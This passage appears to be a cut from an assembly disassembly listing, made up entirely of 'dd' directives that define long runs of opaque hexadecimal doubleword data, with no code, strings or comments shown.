80033A02h dd 40956675h, 3F555956h, 7E00105Ah, 0FF6D0935h, 300A828h dd 962CABECh, 89C2E0h, 146F71C8h, 16B361FAh, 4DF2B200h dd 9497152Bh, 357A04E3h, 0C5DD1242h, 0A6DE004Ch, 793DC46Bh dd 4554700h, 7AB9DE4Bh, 9E4800B1h, 671EC8CEh, 6D0F19FDh dd 0A0A170AFh, 9F5068DEh, 0D9050F4Dh, 0D0611EC0h, 0F47CCA8Ah dd 79F207E3h, 935294A8h, 81054800h, 0CB34336Ch, 5665005Eh dd 18392177h, 0C7000A40h, 12A75303h, 0CDFD906h, 3D4676A4h dd 40096311h, 80D1EDD2h, 0F0F37475h, 0A5000D3h, 7CE21949h dd 9000AF89h, 0E43AF9ADh, 30AB97h, 47FD694Ah, 45FCB9BBh dd 0D8BFAE1Eh, 39ED5C80h, 0B52E3D36h, 3A894340h, 0DD585400h dd 0F51DFE7h, 0F29612A1h, 9DD04066h, 8E5A715h, 0A2B81100h dd 0D0328DCFh, 1DFF0013h, 0C753BFC5h, 4438E62Ch, 22C400BEh dd 15F5E516h, 0D0EC264Bh, 0F1CE0047h, 7DC3DCEBh, 0F2606C00h dd 0DE8EA2EDh dd 3B0116EEh, 4F0C00BCh, 0BEFA542Bh, 0BD00D498h, 0CAF59E4Eh dd 0F39190D3h, 1F490C70h, 921B9Bh, 0D6BBAFFCh, 48C28469h dd 0BDD714h, 8AEACD4h, 45269401h, 4E4C76F5h, 520860h, 2579C149h dd 0C4AF6A57h, 0C49C8648h, 3E00CF4Ch, 0DF7DE4EEh, 0D8776D2Ch dd 0B8396A1Eh, 0E77B8083h, 0A89AF0B0h, 66373B1Bh, 0C009E803h dd 80009646h, 2532D01h, 0CDFD51h, 0B7E2DA81h, 0A6FCC029h dd 0F2111900h, 70D4804Bh, 54BA0914h, 0EB00227Eh, 0BC41F38Fh dd 0E4516600h, 3C4C835Fh, 0A1F4002Eh, 25FACFD4h, 0FE002339h dd 0E8B73D21h, 28A556Bh, 0DFC9C60Bh, 80805924h, 0BE798997h dd 0B1DCA200h, 32568886h, 3257CB8h, 62277826h, 18BED309h dd 24360500h, 0F48B8A35h, 0A3410E44h, 1760030Fh, 8F30767h dd 5D068D00h, 0B3BE0BC5h, 0D95520B5h, 0A41E0D00h, 0E1903612h dd 96301274h, 191C09C2h, 915A4486h, 7342B300h, 9AFCC3C7h dd 168E03F0h, 60AF7DD3h, 6D820397h, 0CCF7BB80h, 30170F16h dd 3CC88400h, 7047173h, 0A61AA44Ch, 9F4BD1A7h, 0C67DFC22h dd 0C9062A00h, 5954E8A2h, 780D000Eh, 848979B9h, 0B7E507Ah dd 909CE630h, 302B8EBh, 0DF742614h, 0B388AE15h, 17F43BECh dd 4CFE791Ch, 7C400F52h, 0A57CE15Bh, 0E7222CD3h, 94058050h dd 5466C02Bh, 1832ED00h, 22047761h, 9E114C89h, 0E0C53800h dd 6E3583DAh, 6C851500h, 72580F06h, 55AB0770h, 342C26FDh dd 99DCD1E6h, 326981E2h, 7B564D22h, 1D4DDD0h, 4111ED4Eh dd 0D38DCA76h, 56C56BD0h, 0CE33E978h, 109A9AAh, 5D223D40h dd 0F186EF2Ch, 8CB1809Ah, 4EAAABB5h, 0D2931836h, 7461924h dd 50B35700h, 0B764ECCCh, 0B567166Ah, 46EC60C6h, 0CF18FAB8h dd 941817DAh, 0C67900EBh, 86F64BF8h, 0F24BDB7h, 0D04AC2Ah dd 3480DDEAh, 7D8DBB2h, 4EC7B026h, 92B51421h, 0C0A0D508h dd 0E06D661Dh, 0F3463606h, 739B01Ch, 8617E4F7h, 0E95C90F8h dd 0DD005AA6h, 160A0FBAh, 0EAD1CAB9h, 9EF86Ah, 518A47Dh dd 0FC92CD6Bh, 71001475h, 0BF50649h, 90276488h, 0FF44985Fh dd 3F6C0D8h, 71845F3Ch, 0C7A0EF46h, 6B0049EAh, 0BDB82850h dd 79D162Bh, 7F31FCAFh, 0C68340B1h, 4225EFB5h, 0B3C2E0DFh dd 0EE3FEEC2h, 0FC9639AEh, 216AD780h, 1C0A9D9Ch, 9AED0105h dd 3FC7376Bh, 6DE992F0h, 299F6EB9h, 0F7000DCBh, 0EC676BABh dd 37BAFA2Ch, 0BD80B837h, 4C83CF8Eh, 7C02E2h, 0A64E24C9h dd 6364879Ch, 0C412BFFAh, 0B80FC6DEh, 0B79C37Fh, 3775D0EEh dd 944358BBh, 188C0400h, 73579E81h, 0F60175Ch, 77ED823h dd 0CF507D52h, 1064Ah, 0FDA869DFh, 0D70F688Ch, 75F0EB00h dd 1A4377E8h, 7123037Ch, 3ABD950Eh, 57318FE8h, 51823Dh dd 567E6242h, 0EBB2D8Dh, 0C143F883h, 0B61BDA0h, 100EB4C9h dd 413CEFB9h, 641408AAh, 5183E0h, 12B61531h, 2195CE0Bh dd 0DD37800h, 0BBCA4AE4h, 51E8009Ah, 0AA73E084h, 5024D1F5h dd 0C4818042h, 9FE9BF37h, 2CE89040h, 98A9F4D2h, 9050090Fh dd 3423A672h, 2800B89Bh, 0EB767FD0h, 2DC846Ah, 0BC2DD57Ch dd 5C60F218h, 0E8009E41h, 4ABEE0F3h, 7D01F5D1h, 0CA170014h dd 0F0339505h, 0C49DEB7h, 0E14B07B4h, 843BAF2Bh, 7C90A027h dd 31CDD1h, 5D8E902Ch, 0EAA4CB57h, 0E5588B61h, 0B820D741h dd 0C7F2004Bh, 7DD512BDh, 63DA714h, 25E200F9h, 0E18E8670h dd 7C4459BAh, 607B448h, 13B0C947h, 0C6D398D2h, 41584801h dd 5F79E150h, 7C8081BBh, 0C566F88h, 63FAD453h, 7A81049h dd 9A472B37h, 0D5DBF3h, 15899640h, 648F3BAFh, 51CE9109h dd 43B4C0B7h, 0B3D707E2h, 60081DDCh, 0FFC9C1Ch, 18677300h dd 198CE090h, 0EFAC0824h, 0D0059BF3h, 0A840A107h, 65CD3A0h dd 11382631h, 0E080BA34h, 39D2882Dh, 262CAFDAh, 2803B0BBh dd 0C84C3160h, 0D337ACh, 0D40133C8h, 0EC940DC4h, 0B201DAF2h dd 0CE15D9E6h, 0F78703h, 34132538h, 0C3CFDDC2h, 0FF3EA703h dd 72A80E9h, 0C8FAE059h, 0E7072032h, 5925D0E4h, 7FFD81Ch dd 0D6A67EE8h, 5838D19Eh, 20A2E146h, 70FD218h, 8D9093h dd 0A87B7365h, 42342C3Fh, 0D0E41384h, 3B260B50h, 0AD475C00h dd 0C2134817h, 0E6BE00DBh, 0B3ACA9D0h, 59009315h, 1F7A1430h dd 5C73D711h, 0D200A0E0h, 0C0D03575h, 0A3004647h, 0E128CE07h dd 0E4E376Fh, 9BC5781Ch, 33305E80h, 8F00A7D8h, 87B3A265h dd 0FF79970h, 0B59D6D7Fh, 5ED66140h, 0FC005B04h, 9710712Ch dd 95421Eh, 0F55D54CFh, 862FF7B5h, 8B00FE77h, 0DD30C49Bh dd 6B020Eh, 0AD1BAF7Fh, 4B614AB6h, 7319D400h, 74C23589h dd 5DE87EC9h, 46009436h, 8D8E584Eh, 0E774CD60h, 73F4DC15h dd 0F376189Ch, 0B539AEh, 4C18FAF9h, 0D8E6A84Bh, 0B6659B00h dd 0FE4E76EDh, 0B0E800DAh, 0A1B37ACCh, 8F1046E0h, 2708217h dd 88F7A9FFh, 9CA1C9DDh, 830F43h, 12CC0A34h, 884DD03Bh dd 500A2A8h, 47DED2EDh, 7F35AE5Bh, 3BCD038Dh, 29CBE72Bh dd 20127FC8h, 0BAB50612h, 43C180Bh, 65C0AC80h, 124A80B9h dd 1F4D1186h, 2B4B8583h, 0B5ECC3F7h, 5ABC4FB0h, 0F92530Bh dd 73750080h, 690924h, 0F664110Dh, 0DDAE3E1Ah, 1ECBC002h dd 83E0347Eh, 0F041CAA4h, 1476068h, 0F1857502h, 0D849C846h dd 0C400BB2Ch, 0FDBA53CEh, 0F490CDh, 54710FC1h, 0C286C7D7h dd 0CF28FB03h, 0EA312DC4h, 22B480A3h, 1EC7E417h, 80B5721Dh dd 618E38ACh, 5F3ACC92h, 22588051h, 94961B01h, 0BE9807C9h dd 0E1640567h, 0DC352E2Bh, 30283F9h, 0F1CCC3E5h, 42272085h dd 0D31FC957h, 0C7928ED5h, 5C65DC40h, 988F548Ch, 0B6808024h dd 24CC00BBh, 61BED3A4h, 0F1488DB1h, 909A03FCh, 0E0786394h dd 3B96588Ch, 883FBBEBh, 0E6501E0Fh, 0C7B68205h, 0DB39F144h dd 0CFF0F87Eh, 0F7970F0Eh, 0EE2BA0D1h, 73D703FFh, 19D6A7h dd 8ECC2E01h, 5051555h, 0DF48BCEEh, 0F0BF8CC0h, 2E3079Ah dd 437FEAE9h, 48D842ABh, 0D230C9F1h, 5D5C1140h, 58BE1F82h dd 61DF07E3h, 7033A3E1h, 1157F1F7h, 360DC01Dh, 0FBC1960Fh dd 514024Eh, 0F24581Fh, 0B353BED2h, 9EB5160h, 2B00F1DBh dd 0F28DEFECh, 19318EDh, 0A3A0CD5Dh, 0F8C2ACB7h, 0C50025F8h dd 38697DFDh, 506F173h, 0A89276E1h, 0E3F0C049h, 6D03A4DBh dd 60D28145h, 0FAF00089h, 66F6CC08h, 0FC0664A5h, 0A27B44C6h dd 1A791C88h, 0FF8B4556h, 39718045h, 0A80E3437h, 0E004A095h dd 2A3D94E7h, 68170398h, 0B40B13F6h, 5A00D693h, 0D762BD19h dd 4F2B2Ah, 38D08951h, 0FB0D29C1h, 0CBB0ED00h, 690A7EEAh dd 0EC20504Ah, 0A84C0457h, 0B0555E61h, 14A5E16Ch, 989296BEh dd 0D0C64840h, 7475A9Eh, 9F6252BFh, 8742F22Dh, 0D7D572C0h dd 78001073h, 2E111980h, 1D7C1556h, 0C0689204h, 0EA5EA863h dd 0DCB8B525h, 393BC700h, 0ECE576D5h, 9F409F27h, 0F7136026h dd 7CC4C6EFh, 83404B1h, 0F1CE00DFh, 45B1A210h, 24003127h dd 39016D11h, 72DE165Dh, 227C006Eh, 0F8508A5Ah, 0A200C048h dd 0ECCE394Fh, 4C4EB9C4h, 8C0BC0F9h, 408771CCh, 0B10D5012h dd 832C3204h, 6D005150h, 0A7B879AFh, 0CD1D02B2h, 0DF8C679Bh dd 95F984A0h, 0CF0329A8h, 0DE85DB77h, 203BF7EEh, 7241819Ch dd 0AC3007Ch, 88E90DD0h, 60027B1Ch, 9DBEA08h, 14F079h dd 0AB1D0ABBh, 7D316F8Ah, 0AA85A500h, 0E1B54BCh, 440D00F0h dd 766C8469h dd 0C6902BF2h, 745D4100h, 0BF880B95h, 0B8180051h, 52C076FBh dd 0F00878Ah, 0D210DD72h, 53C9208h, 938C4583h, 1B77C015h dd 0C01F2988h, 0F400F2C5h, 0A274EDF7h, 0B1830399h, 80F3BC7Ch dd 0D64650A0h, 0E652AB02h, 0E01B6FC4h, 90F5494h, 7525E34Ah dd 145658Ah, 0D7C4D5F2h, 340BEDC3h, 0D1023B50h, 0A5CE75EEh dd 40DAD3h, 9C406C97h, 133033A4h, 3995750Bh, 7E8003A1h dd 53BDD00Eh, 3FB10B2Bh, 0C0C00650h, 0F93C1211h, 36799F55h dd 9D43B802h, 0BA7040E8h, 0EF3801DBh, 52687A21h, 61980D1h dd 129A5F97h, 0E7C00045h, 5BCDB1EEh, 7C0084D2h, 0B4A9AA03h dd 3DB61A4Bh, 0A0012B9h, 0D2140CF5h, 6200429Eh, 0E6B4724Dh dd 3E35A6Bh, 0CE111A13h, 88C14B7Fh, 73712002h, 850F85Dh dd 8017B2F0h, 0AB673605h, 7402EA93h, 99FEE797h, 4B7A60DCh dd 0C0E6D7h, 20F3D8BDh, 81215A43h, 0B68F730Fh, 9346A133h dd 0B85017DFh, 2411421Ch, 85EDE4h, 0BBA4BE77h, 1807841Dh dd 15C6D8Bh, 1903A600h, 853D00C6h, 0CA918A7Eh, 5E00662Ah dd 53351F24h, 3CDBC8EBh, 90A8EC3Dh, 67B602B8h, 94FB145Fh dd 3F5C2850h, 55DE1235h, 0C1D18D00h, 9693D4Eh, 4B035EFDh dd 81145800h, 22077FC6h, 0DDDE6B52h, 4B73473h, 54476240h dd 0F27AC055h, 0C800271Ch, 4B04D4AAh, 1168003h, 0E69B4347h dd 0C5703775h, 5FB6C4CFh, 64F17C00h, 69F7EE0Ah, 0C6DF00F8h dd 2FA0E7D8h, 750E343Dh, 0AB17BB5Eh, 0FFBB00E4h, 1F1550BCh dd 9B6E730h, 0C581C3DAh, 0E8990A54h, 0EF12CF62h, 9B9F7Fh dd 0AF329A00h, 0BC9FCA9Ch, 0F4D34907h, 7CE2D45Bh, 50FDC070h dd 1E3600C4h, 2B244A66h, 0D13AF3ABh, 97250398h, 0B81C65C9h dd 165CADh, 92453B40h, 35DE7A29h, 32F2A01h, 0AE5EF34Dh dd 0EAEA4F30h, 28BA07ADh, 94E1F9AAh, 3846C045h, 0CE009724h dd 0A33C6873h, 0C37E86h, 0A8D658F2h, 0FC7CDF18h, 6B01D900h dd 8172C963h, 2B7357h, 229C87E5h, 0DDB5130Ch, 177AD800h dd 84567CCCh, 6B91F62h, 0E5B38091h, 0D5DD2107h, 7B82C8C7h dd 0D0E37FF3h, 3F811FBh, 0E6A907F3h, 65C85C34h, 0A61B6103h dd 0C8214152h, 1D3608h, 1989D810h, 2514D3BBh, 1270DD00h dd 290AEA60h, 971358B9h, 28E6A800h, 9F7B1F1Ah, 697E910Fh dd 0B0DE4047h, 0C090C221h, 46D1C880h, 572F80Ch, 3F45530Eh dd 51968043h, 0B29344h, 0CC571897h, 0B450D855h, 0BA31CE00h dd 0F202956Bh, 1DC80AB7h, 9D0C259h, 67808D3Dh, 575817D6h dd 0D0FB300h, 0CA1536DDh, 7310782Ch, 4AEC00A2h, 0D6A0331Dh dd 7F0020B1h, 667DC38Ah, 1CDB850Ch, 0A6C99E80h, 87DD0051h dd 3C096905h, 0E3F0C700h, 9B3122D7h, 0B502846h, 0DE9400E8h dd 3B74F813h, 0CA00C99Ah, 22D6C1AEh, 0E5877C2h, 5E4BEF65h dd 8D8E8440h, 6700E26Bh, 9916FF9Bh, 18E836F4h, 0D84855FAh dd 54009642h, 0C7808BD4h, 0CC6E1E9h, 0A358FBE6h, 7A003D20h dd 0A60899D0h, 0A013B4BBh, 1DD65A80h, 81CEDC8Ah, 6F1ACF9Ah dd 0AA95F455h, 8600F3E8h, 17E72BFDh, 3E1FD3C6h, 2100D971h dd 2758DD04h, 4207F7B6h, 952D3B51h, 8C1D4890h, 32EC00B7h dd 0D0756A6h, 4F009B0Ah, 370499A0h, 40283Dh, 644E59E5h dd 6E8736EDh, 0C95A7600h, 3B9E173Ch, 3207016Ah, 1CD58E38h dd 2D91E4FFh, 2C83330Eh, 22C9C42Fh, 90419098h, 0F190A884h dd 324A0F63h, 944EFE51h, 469F71C0h, 3AF2EA92h, 59D3B400h dd 339CA48Eh, 7DD00ABh, 0D94E6CF5h, 7A0037C0h, 3039C994h dd 0E325A7h, 2762CBD3h, 0DB937582h, 0B1009BE6h, 0DD670A41h dd 1D219EA9h, 0DD7B7A07h, 0D0351852h, 0EF07E77Fh, 5FCFAC41h dd 0C123BEC0h, 0AF9AC019h, 60910DA4h, 0FD26CD00h, 3686AC5Ah dd 0BDCE006Ah, 0F48365B0h, 6900D86Bh, 0E9D46F6Eh, 1CB7BFh dd 18222B0Eh, 0E7931A45h, 9DE80A00h, 1BC87182h, 0F8F900E3h dd 63AFB8EDh, 0E6600D3Ah, 5DD23E76h, 0B40702DEh, 0DA24F287h dd 0AEE35460h, 0D038EA0Eh, 63340BAh, 0EE581663h, 3E520020h dd 7D30C6F2h, 4C9A7132h, 68008DFCh, 778072DBh, 30613BBDh dd 1680979Dh, 0BFF0D84Bh, 7E00E6B0h, 0E6DA4A11h, 0FE6B17F4h dd 69C500E3h, 2C79B595h, 30982901h, 23212501h, 0A2AF330Fh dd 3D0020B9h, 0DC7FFB70h, 3E0CB54Dh, 80DFF6B2h, 456A3498h dd 3280EF29h, 60828BCEh, 0F9012106h, 7700A841h, 0E44EE886h dd 4CBD4355h, 0BC009074h, 1388987h, 3E1D7362h, 0D25230C9h dd 7D44B800h, 50461210h, 86FD48DCh, 25DD7F00h, 439C7528h dd 22BB0E47h, 5E04E1FEh, 0F54007A1h, 0F179859Bh, 0C3C09C1Dh dd 0E3AED92Eh, 4AB900D1h, 0F7E67CE9h, 244E2FEAh, 4D00C0BCh dd 0FACC8F09h, 7918B64Eh, 27E13261h, 0A5DE0788h, 581B9493h dd 0CA54ED00h, 746D03Eh, 0E245622Bh, 749DA02Eh, 0C091C47h dd 25A1D6h, 0D83A76F8h, 0DC801C9h, 0D959FC60h, 0ED798852h dd 0E32B014Eh, 0D985BE33h, 81A1D512h, 777D6A69h, 5430E9E7h dd 32D70369h, 614C23DFh, 106FAFB8h, 9436400h, 76118D20h dd 0E5DB00DCh, 0CA4956Ah, 3F006233h, 343E64FAh, 0DD19C3h dd 9CA17174h, 5C11F4BAh, 0FDE60E04h, 0ECC0B576h, 1949A13h dd 0E1F066ECh, 80E40888h, 974EBF18h, 0F08C3DE2h, 864F09D3h dd 8400C1F2h, 49E7130Ah, 0C311FA03h, 0F8C0B98Eh, 2FFD78h dd 64F9AD21h, 97AC681Dh, 4B1281F8h, 0F80013E5h, 0B76136C3h dd 0CE967E0Bh, 0E7C0C526h, 6F9DF7B3h, 28C8B813h, 10403413h dd 0A8DC2EDAh, 71FF0013h, 55CA8284h, 19128A17h, 64026B77h dd 0E3D569DDh, 328FE79h, 0C861EC44h, 21549BBDh, 0D90E08D0h dd 0E0EDCAE0h, 141184C7h, 0DDD6383Ch, 0E5D56E00h, 1B6ADF3Eh dd 66D3691Fh, 234642CFh, 1109FADh, 7871FA29h, 87D55F68h dd 0D1802910h, 63476684h, 91BB6010h, 1EBC75E7h, 24923E00h dd 4B084h, 7D196C8Bh, 78FD8FA2h, 229E4703h, 80E05495h dd 0A21FD6DDh, 9159C094h, 82A95878h, 46735200h, 0F5456031h dd 80A03800h, 8C16E796h, 1DF3F239h, 0B0DC1A71h, 21AD51F1h dd 242AE324h, 0C003E09Eh, 88718CACh, 1828EB5h, 0EF180F2Fh dd 0F8F5B6F4h, 80920625h, 0A945B107h, 0A390F2E3h, 1F562ADCh dd 0D8C1F7E8h, 0E943891Fh, 203EE026h, 8DFD50h, 6C02BC67h dd 2EF75AD8h, 6FFB300h, 27D9C34Dh, 402D4DD6h, 43230074h dd 6917EFDFh, 501E765h, 88DC6407h, 2DF25ADh, 8724D359h dd 2C40BFE3h, 0CFE0D1A5h, 58BD8CB0h, 0D7343C5Dh, 0D9BEE804h dd 17B4985Eh, 7D34F949h, 0F6E1B900h, 0AD99CB26h, 7E1101D0h dd 5E8DE333h, 0B638481Dh, 264DFC1Ch, 0E000A468h, 7B2A2BDDh dd 78F1F4C7h, 7C9069h, 123EB662h, 4EF954FCh, 894A1F39h dd 4B72344h, 74C3D2A0h, 6EA1A04Dh, 0F2AB007Eh, 899E2695h dd 0B5002E11h, 46096652h, 17E0A096h, 1DC7F121h, 591481DCh dd 0E4FAD06Ah, 0BF3CF425h, 7D19EEDh, 3119B518h, 2EEE8A4h dd 2741CE25h, 0ACA0264Eh, 37C7F215h, 622AB509h, 4828002Fh dd 60277602h, 0AFA01164h, 340298F2h, 0D760543Ch, 139C8045h dd 668AA7h, 3EB7E64Dh, 0B650854Ch, 687049h, 6C963D8Ch dd 77B299CAh, 701F224h, 62F1D05Bh, 1E4CA0D5h, 4100C3ABh dd 963AA291h, 15774F7h, 3542584Dh, 300F2288h, 0A0065094h dd 8D47E62h, 0E1AE0010h, 173654D0h, 0CD71BCE0h, 0AD5D3F00h dd 0FA08B123h, 73270FC2h dd 0EBC0D963h, 0B7DC2A36h, 72C6C902h, 5228F0A4h, 95173A1Ch dd 27FFFA05h, 492CC171h, 4DFEE040h, 22839h, 0AF2E1889h dd 7E41627h, 8CB55259h, 2DD5F0F4h, 4A008910h, 0A249986Fh dd 94C59Fh, 35ABA8B1h, 620AE85Ch, 15184C12h, 0EC31B805h dd 0B6F365C0h, 0FEA61344h, 84800050h, 74B96E15h, 8ABA5200h dd 642DBD2Ah, 7A8F00AEh, 0CEDB5FE9h, 510708C7h, 9E3AD79Fh dd 38E06226h, 0DC800710h, 50F9BACAh, 0A8047419h, 0B95CB0BCh dd 0F974CB0h, 0AE777B5Dh, 6AAA6980h, 0F200E254h, 0AC56DEC3h dd 1444E926h, 0A428FBB2h, 29583502h, 0B8806204h, 866C2BD2h dd 0C4D06606h, 190D2Dh, 7F84ED4Bh, 31C259F5h, 64731800h dd 0E7D70DFFh, 38EB00A5h, 0D2DDD17Ch, 88006FFAh, 0EE5FB06h dd 4152EDh, 0A8BD9CEh, 0A8ABE2B2h, 2400C772h, 8E439C5h dd 40C90C4Dh, 120048AAh, 0D5198D86h, 4050B5h, 8A856D9Ah dd 7B0DC921h, 0DC673Ah, 931B3FCFh, 1C19BD4Bh, 806C1065h dd 23B19835h, 2200E26Ah, 0D7CFDDD2h, 70A97Bh, 9E2A7E14h dd 1CF9168Fh, 0F7D5FB03h, 0B083218Bh, 762F5C5h, 51C94E6Ch dd 0E2A9D054h, 163AB319h, 0C6FA000Dh, 675CCF9Ch, 53AE1673h dd 30310064h, 368C74A0h, 0A1229800h, 0BD8582BBh, 183501A2h dd 0B59E5B43h, 0EBA3C026h, 1D7E390Bh, 62E10002h, 2173470h dd 0C45B9308h, 0F8405D03h, 0E217BC4Dh, 3AE8B828h, 10607A00h dd 0A46AE7BDh, 6636500h, 0E625215h, 0B946006Eh, 9777C27Dh dd 6500CBE1h, 63124AEDh, 605633h, 62A9677Eh, 0BEF6DE55h dd 490C1F00h, 0DF37E9CDh, 67BD0113h, 9C93236Fh, 0D2BBCCB7h dd 7C157F3Fh, 819EB01h, 3A6AA0B2h, 0A80243CEh, 3E7F17h dd 0C7A29673h, 0C3223204h, 2AB86E03h, 0D0903B95h, 66097Ah dd 0FD69A817h, 289CC5B4h, 0B3108700h, 8A61CAD7h, 0F99200EFh dd 54D9FCEDh, 81EF598h, 0A0004F8Eh, 0B0B5583Dh, 0BC02177Ch dd 0E76D0078h, 62BEE123h, 4874CC0Fh, 0C55A80B9h, 3160A6A0h dd 8460110Fh, 4DA7FCE7h, 175D100h, 71CC5A4Eh, 0E9681C14h dd 52E6406Bh, 0A4105BF8h, 0F107E200h, 0C9873EBFh, 76AB076h dd 51D504DFh, 3D2250ECh, 707C8CBDh, 45369701h, 95E667DBh dd 1D33DCh, 16A9B884h, 4A74AD4Bh, 0D89F3Bh, 190AED34h dd 1D3B3C67h, 9E321617h, 85E082ACh, 0CAE05388h, 0E4005CCDh dd 435BCFEFh, 0DDE949h, 3E802CBh, 2925F206h, 0A0935C01h dd 964E5A1Dh, 0DBB5F4h, 3BD3F1F0h, 0CD67B4A6h, 7A797D07h dd 1EA064FEh, 1C3CBA14h, 82CFD9FBh, 2687B8D2h, 5EC0FF80h dd 840004EFh, 0A2913A1h, 0EA482152h, 0F81A000Ch, 3F241EAFh dd 4701BB7Fh, 7AA60D20h, 8CC8ADF7h, 0F3EAB5h, 0B6A03DD1h dd 9FFD2C79h, 0FB73B800h, 5E012B91h, 0A1CB01E6h, 2A13EAB3h dd 87D8F747h, 0E0ECF765h, 7015C100h, 0B57BFF2Bh, 19A71E7Ch dd 772C04Eh, 0CDDFF02Ah, 0DDACFA00h, 0C87405DCh, 6D78B4h dd 956A0DB1h, 0B7B9E49Eh, 0A7E27D0Fh, 8D5840C9h, 2B5003h dd 883B1AF4h, 961C17DEh, 0E12DC007h, 5EB146D9h, 60801649h dd 0D88A9704h, 0DC067F8Bh, 0ACCAC83h, 0E39D0E18h, 9285D9BBh dd 8D18385Fh, 8F041774h, 9144407Ch, 0BB6B6480h, 5A59000Ch dd 0EA3ECB96h, 420D4AAEh, 0D8C36308h, 3A769560h, 2C51DB77h dd 0C5D12088h, 0B301F890h, 3C1DEBE8h, 0EDB07AEAh, 6B7A85h dd 0D18BBE1Ch, 47760850h, 4925562Eh, 4004D80Ch, 16450058h dd 4EE8D371h, 43E8AB6Dh, 85F46F06h, 870F3D0h, 814772Ah dd 0E08B3F3Ch, 0D51F2DD0h, 222300E1h, 0B081D043h, 0D8E63206h dd 60962907h, 92B0D6E2h, 121AF511h, 72D0D4h, 94F1F26Dh dd 10171ACh, 632B73A7h, 1880F5E6h, 0DDD48952h, 0C0F80A37h dd 995C5103h, 9E60272h, 16AC8F20h, 0C52BB420h, 0C67F891Ah dd 84730C0h, 6133C1Ch, 2D79DC75h, 40C418E7h, 0F1FFE18h dd 6F039D54h, 58C1F8E1h, 834F2161h, 5BE92A28h, 8FE9050Fh dd 87BCD28Eh, 4CDB650Dh, 0DF092098h, 89CBAC78h, 51740C99h dd 2BD70685h, 0D1109383h, 0DAA67900h, 0A0170A2Dh, 41056FF7h dd 83D9AAE0h, 0EE549633h, 9D0F70B4h, 0E1731B13h, 1A992B23h dd 5A6B9880h, 0D54A69B8h, 6C60D466h, 23870071h, 0C29424CAh dd 10E00F7Ah, 0D5C4B600h, 5F4656ADh, 0DC013DF6h, 86733080h dd 0F26A9325h, 0A9723600h, 4B337F8Dh, 4887008Ah, 0AD60D803h dd 0F51EF12Ah, 95804569h, 28765B6Ch, 4A738Eh, 804725A4h dd 0B502645Fh, 8150B63Ah, 6E12B877h, 1FC8A6D3h, 0E4C01F1h dd 173E28B3h, 5B38F8A3h, 0B50A4D0Fh, 4F4400CFh, 5F8785Dh dd 880FF291h, 3FAC40D5h, 4AB4FBF6h, 77BA0500h, 8F4F1606h dd 0B821C0C8h, 0C5AFE198h, 878C173Eh, 59CD841Ch, 0C40C8000h dd 5AEE47Eh, 81475E5Dh, 1BAC0508h, 0A301F6Fh, 3C9C74Dh dd 0C04BB2BFh, 0D68F1818h, 339BC21h, 5A627BB1h, 6FE0C167h dd 0F1007742h, 0CB487218h, 0A0886C8Fh, 52548h, 4189F59Ah dd 0DE385895h, 8F02C4F8h, 8CFD59C1h, 501CC0EDh, 774D0054h dd 862A6DE4h, 3A0485BDh, 10EC6567h, 3BBFB080h, 84C20038h dd 4B5E1C39h, 0A800319Eh, 68A6950Fh, 0FE3CA075h, 74D9778Fh dd 773B00D8h, 3D2B83F0h, 95002074h, 4F0441B4h, 4D8ECC11h dd 1B0C1813h, 84B1D96Ah, 0E952DD0Fh, 445E725Ah, 0F6483E43h dd 201100ECh, 29028D63h, 4B0061E2h, 939FB5FFh, 474EE8Ch dd 1D3D4E50h, 795082DCh, 3043B287h, 6D05A1A7h, 9A600D00h dd 0EB705B20h, 0CFA23933h, 5854E0CBh, 8BCD320Dh, 40B11DDh dd 0DBA4B0C3h, 48EB1004h, 0D080BC13h, 8EBF61h, 7B8CB6A9h dd 2A1C86E5h, 6DDD0600h, 0B55B13C0h, 0AE630042h, 0FA2F3008h dd 100E6D6h, 0F2D32434h, 0B3AD52h, 4E902922h, 16E3FA78h dd 9900207Ah, 510B64D7h, 97BA37h, 0AB1D6938h, 0A5F3EC71h dd 4FF04E74h, 37FFC900h, 0B6DAF944h, 115091Fh, 0D280AE31h dd 647995Ah, 93C983Dh, 80113E22h, 82FD4869h, 83020EEEh dd 6AC0B034h, 0BBF067E6h, 0E2513B00h, 754CE5F5h, 0C93A0019h dd 745989Ch, 0DB3BC285h, 0B63F8030h, 0DCF6EDCh, 0E98800A9h dd 8205AC64h, 36031B37h, 76BB242Dh, 531950FAh, 0D20D01E3h dd 9641A719h, 1EBCC465h, 7DD37500h, 9EAD570Eh, 83423A6Eh dd 0FE2FC680h, 423E652h, 40A80A00h, 8F4AD846h, 0C46402E0h dd 7EDDEBBEh, 6305D0A0h, 0A230CEF0h, 5E4870C6h, 49060091h dd 3AEFAEC3h, 0F300A3A4h, 3D2EFC31h, 1E1F29ADh, 559A10Dh dd 203FCEB5h, 0ED535F8h, 0CFF024Ch, 302FA729h, 6347184Fh dd 0CCE56133h, 7003AA76h, 6EB0760Ch, 846AB0BFh, 0A1E0050Eh dd 0C09D9938h, 875FDDAEh, 0B6640A1Fh, 0D8F168C0h, 0D10DA4h dd 21F472C2h, 0FBC7E32Bh, 0C9221600h, 0EC5CE80Fh, 0DCF4D2h dd 0AE46418Ah, 0BDB44C7Fh, 0FB6A7500h, 0E60B3D6Ch, 0B57798FAh dd 41EFDD8h, 20405115h, 89BE2511h, 0E4B201A2h, 0EF1C37C9h dd 924DF46Ch, 80C45C00h, 10AF8AF2h, 0CCA0A1DCh, 0CCE70h dd 81A3577Fh, 6093DFFh, 0A000BFFCh, 5A988925h, 0B9683FDh dd 0FAECBA2Bh, 53F4D400h, 6E0E0CDAh, 204F99B7h, 24368494h dd 0C3751F8Dh, 0AF2800E7h, 2F596105h, 3852E39h, 26FA8A58h dd 515B9940h, 0ACA7DCh, 64ABFDFCh, 0CDDC9D4Ch, 73157B06h dd 0E2187h, 9FEA7959h, 0CA5604E9h, 0C3A0F82Eh, 8CFECE05h dd 0D5F4DC41h, 6A700672h dd 3B9855h, 0E445BBB5h, 500A1F17h, 9FC5A500h, 0E353E18Ch dd 79FB01D4h, 0AD3C87F2h, 0C3BAF8FFh, 0C0717502h, 44A127AFh dd 6D640104h, 8B6B09FBh, 4B20244Ah, 91DC5107h, 0B6F0A7B2h dd 0EEC27EFCh, 0EBF400B7h, 620EC964h, 21004218h, 0DC8C3F56h dd 71FF16F1h, 0A08F00AEh, 8DA4B79Ch, 0CE185AEAh, 58D0E7F7h dd 277388E5h, 8047BE39h, 6FCB0119h, 3BCAAF78h, 0F2001035h dd 8977D513h, 6903666Bh, 533A63E3h, 1080B449h, 90AA48A6h dd 0B2650018h, 172DD6C3h, 3A00D8E4h, 3CAE9560h, 16BC597h dd 0B3CC31DDh, 24D39EA1h, 12009870h, 